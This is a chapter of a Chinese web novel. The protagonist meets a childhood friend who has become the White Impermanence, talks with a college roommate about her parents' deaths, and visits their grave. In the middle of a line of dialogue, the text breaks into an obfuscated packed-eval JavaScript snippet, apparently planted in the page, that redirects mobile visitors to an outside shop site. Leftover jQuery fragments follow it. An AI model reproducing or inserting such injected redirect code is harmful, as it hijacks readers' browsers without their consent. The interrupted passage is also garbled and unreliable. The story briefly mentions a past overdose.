接下来的半个月,平静得让邢姝有些意外。公司项目推进顺利,每天的工作按部就班,刘冶那边也安静,没有新任务,连微信问候也没有。气温渐暖,玉兰花开了。
月底的周末,邢姝简单收拾了行李,去了苏城。
苏城的古镇闻名,邢姝周五晚上八点多到,正巧赶上了夜市最热闹的时间。在酒店放下行李,她看了眼窗外灯火通明的街道,犹豫片刻,还是决定出门。
春日的夜风还有些料峭,带着南方特有的湿润气息,邢姝庆幸自己在大衣里加了件羽绒内胆。她把拉链拉到最上头,确认风钻不进来之后,推开了酒店大门。
越近街口,人声愈稠,说话声、笑声、小喇叭吆喝声,像潮水一样涌来。入口处,脚下的柏油路截断,再往前,石板路光滑发亮,迤逦前行。两侧瓦房罗列,黑瓦白墙,飞檐翘角,悬着一盏盏暖黄的纸灯笼。
人影幢幢,布料摩挲的窸窣声与人的谈笑混在一起,推着她往前走。
古镇打理得极好,店铺门面干净,即便经营了一整天,也见不到半分邋遢,空气里飘着各种食物的香气。
邢姝买了个本地油饼,摊主是个中年妇女,动作麻利地从油锅里捞出金黄的饼,用油纸包好递给邢姝。
刚出锅的油饼烫手,她站在路边小口吃着,酥脆温热,葱香混着油香在口腔里炸开,深夜下肚也不觉得负担。
邢姝停停走走,又吃了很多当地的名点,大多是一些甜糯精致的小甜点,她平常不吃,不知为何到了这就特别馋这些。
在一家售卖奶贝的小摊前,邢姝停下了脚步。那摊位不大,就一张小桌,但东西垒成几座小山。这东西一般不会在内陆沿海城市生产售卖,她正想问摊主来历,一道男声在身侧响起:
“你平常喜欢吃这个吗?”
邢姝对来人以及这话感到唐突,转头一看,竟是谢必安?
他就站在她身侧不到半米的地方,一身深色的风衣,称得他身材颀长。
他怎么在这儿?邢姝的心跳莫名快了一拍。难不成是一直跟着?
这个念头让她有些不快,面上仍是平静:“很久没吃了,以前大学室友从家乡带过,我问问是不是同一种。”
“抱歉,”谢必安说,“看你站得有些久。”
邢姝没料到他会因这个道歉,摇摇头:“你…为什么会在这,公务吗?”
“来这里不算是公务。”谢必安示意摊主秤了一些奶贝,“这附近有个小区,今天上午发生了一起火灾,家里的一个大人和两个孩子都去世了,我来这边看看,避免出事。”
邢姝早上在微博见过这个新闻,当时还没有伤亡信息,只说是火势凶猛,听到这个结果,她不免有些难过。
“都顺利吗?”
“嗯。”谢必安从摊主那接过了袋子,从里面抓了几颗递给邢姝,“尝尝吧,是以前的味道吗。”
他伸过来的手指节分明,手指修长。
邢姝接过,指尖不小心碰到他的手心,触感冰凉。她拆了一颗,放进嘴里,其余的都被收进包里。“嗯,味道差不多。”她含糊应着,实际上她并没尝出来,那个味道已经过去太久了,她不记得了。
二人并肩离开小摊,一时无话。
邢姝借着打量两旁店铺的间隙,用余光看他——谢必安今夜一身深色,在灯笼暖光里辨不出具体颜色,只衬得露出的手腕与脖颈一片冷白。
印象中,他好像一直很白,小时候的夏天,两个人经常有半日会在楼下玩闹,一个暑假过去,只有邢姝自己黑了不少。
谢辰从小就长相出众,五官协调,眉清目秀,现在也依旧,只是现在不苟言笑,神态严肃了很多,少了小时候的亲和力。
两人沉默着走了许久,脚下的石板路似乎没有尽头。
邢姝心里有很多疑问,为什么小时候一起长大的玩伴会成为白无常?为什么要改名?为什么当年突然搬走?
但话到嘴边,只变成一句:“你跟小时候不太一样了。”
说完,她偷偷看他的反应。
谢必安看着灯笼下熙攘的人群,侧脸在光影中显得格外沉静。他眉头微蹙,过了好一会,才说:“哪有人是一直不变的。”
接着,他又补充了一句:“况且,有些改变不是自己能选择的。”
他话里有话,但邢姝没再追问下去。
和很久没有见面的人重逢,没有想象中的惊喜,有的只剩无尽的尴尬。那些被时间拉长的距离,不是三言两语就能跨越的。
长久的沉默。
两人就这么并肩走着,跟这热闹的夜市格格不入。邢姝能听见自己呼吸的节奏,以及旁边谢必安衣料摩擦的细微声响。周围的笑语、叫卖、脚步声,像隔了一层玻璃,传不到他们二人之间。
她觉得自己做了个错误的决定——今晚不该出门,应该明天再来,这样就不必被这种无声的紧绷感缠绕。
继续沉默。
来到了古镇临河的一段路,视野开阔起来。河水在夜色中泛着幽幽的光,倒映着两岸的灯火。邢姝早前就听说这边可以泛舟,在舟上看古镇又是另一番风味。
尤其是最近古镇里的几棵老樱花树开花了,花瓣落在河里,小舟会经过那段铺着花瓣的水路,船桨拨开的是水,也是花,是难得的美景。
可惜今夜太晚,最后一班船早已收工。船工正在岸边系缆绳,动作熟练,绳子在他手中翻飞。
邢姝慢下脚步,对着写有班次的木牌拍了张照。
拍完,她本打算就此折返,谢必安却似乎没有分别的意思,依然跟在她身侧,走得不快不慢。
邢姝在心里轻叹,脚步加快,想往前再走走,或许能自然甩开他。
他却在这时开口:“不早了,往回走吧。”
“你先走吧,”她没回头,“我再逛逛。”
话音落下,身后只传来一声淡淡的“嗯”。再回头,人影已不见。
……倒是走得干脆。
邢姝在原地站了两秒,忽然有点想笑。也好。
她独自沿着河又走了一段,才慢悠悠折返。
回到酒店,已经快十二点。邢姝洗了澡,躺在床上,拿起手机,给刘冶发去了微信:
「你以前见过谢必安吗?」
过了一会儿,回信来了:
「上次不是和你一起在城隍庙里见过吗?」
城隍庙?什么城隍庙?
邢姝反应了一会儿,才想起城隍庙偏殿里那两尊黑白无常的神像——一高一矮,一瘦一胖,面目狰狞。
她想骂人。
「除了城隍庙那次呢?」
「那就没见过了。」
「好吧。」
对话暂歇。但没过多久,刘冶推了一个联系人过来。头像是纯白色,微信名是初始的“微信用户”加一串数字。
附文:「建议在领导加你之前主动加领导。」
邢姝回复:「你是会打工的。」
手指在“添加”按钮上悬停了几秒,最终还是退出了界面,她没添加。
今天的相处算不上和谐。那些没说出口的问题,那些刻意的沉默,都让她觉得,两人还没到能好好交流的时候。
她熄了屏幕,把手机搁在床头,躺进被子里,闭上眼睛。
脑海里却反复浮现谢必安站在灯笼下的侧影,以及他说话时那种平静又疏离的神情。
他过得不好吗?她想。
然后她嘲笑自己,这跟她又什么关系?
翻了个身,把脸埋进枕头里。
第二天,邢姝没去古镇排队等船——她怕再碰到他。
她去了另一个徒步的山道,从酒店打车过去,只要十几分钟。山脚下立着块石碑,刻着“云栖山道”四个大字,旁边的指示牌写着:全程7.2公里,建议用时2小时。
山不算高,石阶却修得极宽,弯弯绕绕,算是充分利用了这处在市区内的矮山。
寻常人一个来回要花两个小时。但是邢姝停停走走,花了三个多小时才走完,身边同行的人都换了三拨。
倒不是邢姝身体素质不行,她开始徒步没多久,就接到了大学同学许兰的电话:
“我在你朋友圈看见古镇照片了!你在苏城?”许兰的声音隔着手机屏幕传来,“怎么不跟我说啊!”
声音大得邢姝不得不吧手机拿远了些。
两人就这么联系上了。许兰和邢姝大学时候是室友,睡在她上铺,两人关系最好。原本二人毕业后都在海城工作,住的也近,周末经常约着吃饭看电影。但是工作了一年后许兰决定读研,考来了苏城,这会研二,就快毕业了。
刚分开那几个月,她们还日日联络,微信消息从早到晚没停过。后来变成隔三差五,再后来只剩周末偶尔问候,然后就没有然后了。
等到邢姝工作渐忙,许兰学业压身,联系便自然而然地淡了。邢姝不觉有什么问题,人与人之间的联系就是如此。
知道邢姝在爬山之后,许兰在电话里说,“我要陪你一起爬!好久没见了,得多待一会儿。”
邢姝慢慢行进了一个小时,终于等到了气喘吁吁赶来的许兰。
“给!”许兰一把将脱下的外套塞进邢姝手里,随即瘫坐在台阶上,胸口剧烈起伏,额发被汗黏在鬓边。
邢姝从包里抽出纸巾和矿泉水递过去:“你歇一会就把衣服披上,别冻着了,我就带了这一瓶水......”
话没说完,许兰已拧开瓶盖,仰头灌下大半。“累死我了……早知道该换双鞋。”
邢姝这才注意到她脚下是双厚底的雪地靴。
“是我高估自己了,以为穿这个爬这山没问题。”她还晃了晃脚。
两人就这么一站一坐,聊起来了,邢姝退到台阶边缘,让出通道,一面留意往来行人,一面听许兰絮絮叨叨。许兰在抱怨导师古板,实习只能去合作单位,否则就得留校发论文。
“秋招前攒不够经验怎么办啊……”
“你本来就有工作经验啊,”邢姝温声说,“要是还想回海城,我可以帮你内推,我们市场部就在招人呢,你也算是对口专业。”
许兰研究生跨专业读了新传,还算热门的文科。
休息了十几分钟,两人继续往上走。许兰像是要把这许久未说的话一口气倒完,从论文进度、导师严苛,到学校里遇见的清爽学弟——“真的超帅,就是太小了,比我小三岁”,噼里啪啦说个不停,手还比划着。
邢姝安静听着,偶尔应一声“嗯”“是吗”“然后呢”,像从前一样。
说着说着,许兰突然提到了邢姝的父母,“小姝,你爸妈最近还好吗,我搬来这边之后就没回去过,也没机会跟你爸妈问好,你爸
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17343305|199467||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
还是很忙吗?等我忙完这段时间可以去海城找你,顺便看望一下你爸妈呢。”她的语气里带着期待,眼睛亮晶晶的。
邢姝愣在了原地。
许兰走了两步才发现邢姝没跟上,回头看到邢姝的反应也停了下来,笑容慢慢消失。她小心翼翼道:“怎么了小姝,是不舒服吗?”
邢姝摇了摇头,声音也小了:“之前没机会跟你说,我的父母已经去世了,就在你考来这边……差不多半年吧。”
许兰愣住了,她张了张嘴,却没发出声音。目光落在邢姝脸上——那双总是平静的眼眶里,有什么在微弱地晃动。
下一秒,许兰伸出手,紧紧抱住了她。
“对不起……”许兰放低了声音,手一下下抚过邢姝的后脑,“对不起……那段时间……你肯定特别难。”
“现在没事了。”邢姝的脸埋在许兰肩头,声音闷闷的。她没有哭出声,只是许兰肩膀的衣料上,悄悄洇开两小块深色的湿痕。
其实还有一件事——父母离世半年,她吞了半瓶止痛药,在出租屋里昏睡了三天。后来,她也成为了现在的她,一个灵魂摆渡人。这些,许兰不必知道。
这一插曲让两人都陷入了沉默,直到山顶。
山顶有一处平坦开阔的观景台,用木板铺成,向外延伸出去,像是悬在半空。从这看去,能看到山的另一侧,环抱着辽阔的月湖,湖水在正午阳光下闪着粼粼波光。
月湖西北角的入口正好通向古镇,站在这里,湖与古镇一览无余。此刻她突然理解了人们为什么对这座城市评价颇高。
两人在观景台逗留了半小时,拍了很多照片。许兰恢复了活力,拉着邢姝各种角度自拍,还要求路人帮忙拍合照。
下山后,她们就近找了家本地菜馆吃午饭。店面不大,装修古朴,墙上挂着几幅字画。老板是个五十多岁的男人,热情地招呼她们坐下,递上菜单。
上菜间隙,两人谈论八卦,说起大学同寝的另外两人——一个毕业即结婚,嫁给了相亲对象,次年生女,如今朋友圈里尽是岁月静好;另一个和高中男友异地恋坚持到毕业,所有人都以为他们会结婚,却又分手了,如今正准备出国。
“人生真是……”许兰咬着吸管,含糊地说,“谁也不知道下一步会怎样。”
话题不知怎的,又绕回邢姝身上。
“你呢?”许兰托着腮,眼神里带着好奇,“你和那个学长分手之后,这么久了,有再谈过吗?”
邢姝反应了好一会儿,才从记忆角落里翻出那人的名字——许路扬。
两人是在邢姝大一暑假的时候认识的,当时邢姝留校准备资格考试,遇到同样留校备考的许路扬,两人从学习搭子处成饭搭子,后来又成了情侣。谈了有一年,在第二年秋天,也就是邢姝大三没多久,两人和平分手。
“没再谈了。”她如实说。
许兰并不意外,只轻轻点头:“是你的风格。”
两人不知不觉聊了许多,不过也主要是许兰在说,她是天生的话匣子。
一顿饭从十一点半吃到了两点,分别后,邢姝赶回酒店取送洗的衣物。她订了傍晚六点多的车票,四点整必须出发去车站。
回到海城的第二天,邢姝去了墓园,她的母亲生前是苏城人,这次来扫墓,她带了母亲爱吃的梅花酥饼。
清晨下过雨,空气里弥漫着一股水汽和泥土腥气混合的味道。墓园依山而建,远离市声,只有偶尔传来的几声清脆鸟鸣。邢姝一手捧着白菊,一手拎着袋子往父母所在的园区走,路上零星遇见几个从园区深处出来人,男女老少都有,都很沉默。
走了许久,终于,邢姝来到了那片区域。
两座并排而立的大理石墓碑,被雨水冲刷得十分洁净,清晰地映出父母的名字和他们定格在时光里的容颜。
邢姝弯腰,拨开落在碑前的几片湿叶,把白菊和餐盒轻轻放下。然后从背包里取出一张小小的折叠椅,展开,在墓前坐下。
“妈,给你带了你喜欢的梅花饼,下周你生日,我上班没法来,今天提前来看你,你不不准生气。”
“爸,我昨天给奶奶打电话了,她在大伯家一切都好,你不用担心。”
山风穿过,带着凉意。她拢了拢衣领,继续往下说:
“我昨天在苏城见到许兰了。你们还记得她吧?大学时候来家里吃过饭的那个。她快研究生毕业了……时间过得真快。”
她打开餐盒,捏起一块酥饼,咬了一小口。“这个饼还挺好吃的,只是味道不像梅花,倒像是玫瑰。”
说完自己先笑了。也不知道是在对谁说。
她就这么坐在墓前,絮絮叨叨讲了一个多钟头。话很碎,有些事甚至已经讲过不止一遍。她也奇怪,从前父母在的时候,自己怎么没有这么重的分享欲?
临近中午,天色又暗了些,像要再下雨。邢姝起身,仔细将碑周打扫干净,连一片落叶都不留。收好折叠椅,拎起剩下的小半盒梅花酥饼。
走之前,她最后看了一眼那两张照片。
“我走了。”她说,“下次再来看你们。”
转身时,山风迎面扑来,带着雨水将至的潮气,她慢慢往山下走。
回到市区的家,她把那盒没吃完的糕点放进冰箱。
走到窗边,外面灰蒙蒙的天,没多久,雨就落了下来了。